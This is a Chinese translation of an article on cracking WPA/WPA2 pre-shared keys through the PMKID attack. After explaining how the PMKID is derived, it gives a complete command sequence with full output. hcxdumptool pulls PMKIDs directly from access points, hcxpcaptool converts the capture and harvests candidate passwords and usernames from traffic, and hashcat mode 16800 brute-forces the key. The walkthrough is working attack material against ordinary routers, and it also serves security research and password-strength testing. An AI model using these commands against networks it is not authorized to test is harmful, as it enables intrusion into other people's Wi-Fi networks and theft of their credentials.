前言

在这篇文章中,我将介绍一种利用 Hashcat 破解 PMKID,进而破解WPA PSK(预共享密钥)密码的新技术。

 

工具准备

要实施此种新攻击,您可能需要以下工具:

hcxdumptool v4.2.0或更高版本
hcxtools v4.2.0或更高版本
hashcat v4.2.0或更高版本

 

攻击概述

我在寻找攻击WPA3安全标准的新方法时,意外发现了这种攻击。由于其先进的密钥建立协议——“SAE”(Simultaneous Authentication of Equals,对等实体同步验证),WPA3将更难被攻击。
与现有攻击的主要区别在于,在此攻击中,不需要捕获完整的EAPOL 4次握手。新攻击在单个EAPOL帧的RSN IE(Robust Security Network Infomation Element,强健安全网络信息元素)上执行。
目前,我们不知道哪种品牌或多少路由器会适用于这种攻击,但我们认为它将适用于所有启用了漫游功能的802.11i/p/q/r网络(现在大多数路由器都具有这种功能)。

这种攻击的主要优点如下:

不再需要常规用户——攻击者直接与AP通信(又称“无客户端”攻击)
不再需要等待普通用户和AP之间的完全4次握手
不再发生EAPOL帧的最终重传(可能导致无法破解的结果)
常规用户不再发送最终的无效密码
当常规用户或AP离攻击者太远时,不会丢失EAPOL帧
不再需要修复nonce和replaycounter值(表现为稍高的传输速度)
没有更多特殊输出格式(pcap,hccapx等)——最终数据将显示为常规十六进制编码字符串

 

攻击细节

RSN IE是802.11管理帧中的一个可选字段。RSN其中一个参数是PMKID。


PMKID通过使用HMAC-SHA1计算生成,其密钥为PMK,数据部分由固定字符串标签“PMK Name”、接入点MAC地址和站MAC地址组合而成。

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

由于PMK与常规EAPOL 4次握手相同,因此是一种理想的攻击向量。
我们可以从AP接收的第一个EAPOL帧中获取所需数据。

 

攻击复现

1. 运行hcxdumptool,从AP请求PMKID并将收到的帧转储到文件中(存储为pcapng格式)。

$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status

输出:

start capturing (stop with ctrl+c)
INTERFACE:...............: wlp39s0f3u4u5
FILTERLIST...............: 0 entries
MAC CLIENT...............: 89acf0e761f4 (client)
MAC ACCESS POINT.........: 4604ba734d4e (start NIC)
EAPOL TIMEOUT............: 20000
DEAUTHENTICATIONINTERVALL: 10 beacons
GIVE UP DEAUTHENTICATIONS: 20 tries
REPLAYCOUNTER............: 62083
ANONCE...................: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69

如果AP收到我们的关联请求数据包并支持发送PMKID,我们会在不久后看到一条“FOUND PMKID”消息:

[13:29:57 - 011] 89acf0e761f4 -> 4604ba734d4e <ESSID> [ASSOCIATIONREQUEST, SEQUENCE 4]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]

注意:由于wifi通道上的噪音,可能需要经过一段时间才能收到PMKID。我们建议在终止前最多运行hcxdumptool10分钟。

2. 运行hcxpcaptool将捕获的数据从pcapng格式转换为hashcat可接受的哈希格式。

$ ./hcxpcaptool -z test.16800 test.pcapng

输出:

start reading from test.pcapng

summary:

file name....................: test.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.17.11-arch1
file application information.: hcxdumptool 4.2.0
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 66
skipped packets..............: 0
packets with FCS.............: 0
beacons (with ESSID inside)..: 17
probe requests...............: 1
probe responses..............: 11
association requests.........: 5
association responses........: 5
authentications (OPEN SYSTEM): 13
authentications (BROADCOM)...: 1
EAPOL packets................: 14
EAPOL PMKIDs.................: 1

1 PMKID(s) written to test.16800

写入文件的内容会类似于以下的格式:

2582a8281bf9d4308d6f5731d0e61c614604ba734d4e89acf0e761f4*ed487162465a774bfba60eb603a39f3a

这4列分别为(16进制编码过的):

PMKID
MAC AP
MAC Station
ESSID

注意:虽然不是必需的,但建议使用hcxpcaptool的-E -I和-U参数。我们可以提供这些文件为hashcat所用。它们通常会产生良好的效果。

-E 从WiFi流量中检索可能的密码(此外,此列表将包含ESSID)
-I 从WiFi流量中检索身份
-U 从WiFi流量中检索用户名

$ ./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng

3. 运行hashcat进行破解

我们可以像攻击任何其他哈希类型一样攻击这个哈希。我们需要使用的哈希模式是16800。

$ ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'

输出:

hashcat (v4.2.0) starting...

OpenCL Platform #1: NVIDIA Corporation

  • Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU
  • Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
  • Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
  • Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers:

  • Zero-Byte
  • Single-Hash
  • Single-Salt
  • Brute-Force
  • Slow-Hash-SIMD-LOOP

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Watchdog: Temperature abort trigger set to 90c

2582a8281bf9d4308d6f5731d0e61c614604ba734d4e89acf0e761f4*ed487162465a774bfba60eb603a39f3a:hashcat!

Session..........: hashcat
Status...........: Cracked
Hash.Type........: WPA-PMKID-PBKDF2
Hash.Target......: 2582a8281bf9d4308d6f5731d0e61c614604ba734d4e89acf...a39f3a
Time.Started.....: Thu Jul 26 12:51:38 2018 (41 secs)
Time.Estimated...: Thu Jul 26 12:52:19 2018 (0 secs)
Guess.Mask.......: ?l?l?l?l?l?lt! [8]
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#2.....: 408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#3.....: 412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#4.....: 410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#*.....: 1641.3 kH/s
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 66846720/308915776 (21.64%)
Rejected.........: 0/66846720 (0.00%)
Restore.Point....: 0/11881376 (0.00%)
Candidates.#1....: hariert! -> hhzkzet!
Candidates.#2....: hdtivst! -> hzxkbnt!
Candidates.#3....: gnxpwet! -> gwqivst!
Candidates.#4....: gxhcddt! -> grjmrut!
HWMon.Dev.#1.....: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1
HWMon.Dev.#2.....: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1
HWMon.Dev.#3.....: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1
HWMon.Dev.#4.....: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1

Started: Thu Jul 26 12:51:30 2018
Stopped: Thu Jul 26 12:52:21 2018

哈希模式16801也同样适用,它允许跳过PMK的计算——这个计算会导致WPA的破解十分缓慢。如果破解情形不是很理想,无法将哈希传输到远程破解装置,这时候预计算PMK将会变得非常有用。预计算PMK的目的就是让您可以用笔记本进行hashcat运算。

哈希模式16801需要一个预计算PMK列表,编码成长度为64的十六进制编码,作为输入列表。要预先计算PMK,可以使用hcxkeys工具。而hcxkeys工具需要ESSID,因此您需要提前从客户端申请ESSID。

文章原文链接:https://www.anquanke.com/post/id/154286